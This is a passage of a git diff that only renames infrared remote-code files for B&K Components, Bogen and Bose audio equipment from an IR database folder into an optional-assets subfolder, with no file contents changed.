assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/3-2-1/186,75.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/3-2-1/186,75.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/3-2-1/186,75.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/3-2-1/186,75.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,136.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,136.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,136.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,136.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,160.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,160.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,160.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,160.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,161.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,161.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,161.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,161.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,162.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,162.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,162.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,162.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,163.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,163.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,163.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,163.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,164.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,164.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,164.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,164.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,165.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,165.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,165.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,165.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,166.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,166.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,166.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,166.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,167.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,167.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,167.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,167.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,168.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,168.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,168.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,168.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,169.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,169.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,169.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,169.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,170.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,170.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,170.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,170.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,171.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,171.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,171.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,171.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,172.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,172.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,172.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,172.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,173.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,173.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,173.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,173.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,174.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,174.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,174.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,174.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,176.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,176.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,176.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,176.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,177.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,177.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,177.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,177.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,178.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,178.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,178.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,178.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,179.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,179.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,179.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,179.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,180.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,180.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,180.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,180.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,181.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,181.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,181.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,181.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,182.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,182.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,182.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,182.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,183.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,183.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,183.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,183.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,184.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,184.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,184.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,184.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,185.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,185.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,185.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,185.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,186.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,186.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,186.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,186.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,187.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,187.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,187.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,187.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,188.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,188.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,188.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,188.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,189.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,189.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,189.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,189.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,190.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,190.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,190.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,190.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,191.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,191.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,191.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,191.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Lifestyle/186,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Media Center/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Media Center/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Media Center/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Media Center/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/Media Center/186,136.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Media Center/186,136.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Bose/Media Center/186,136.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Bose/Media Center/186,136.ir diff --git 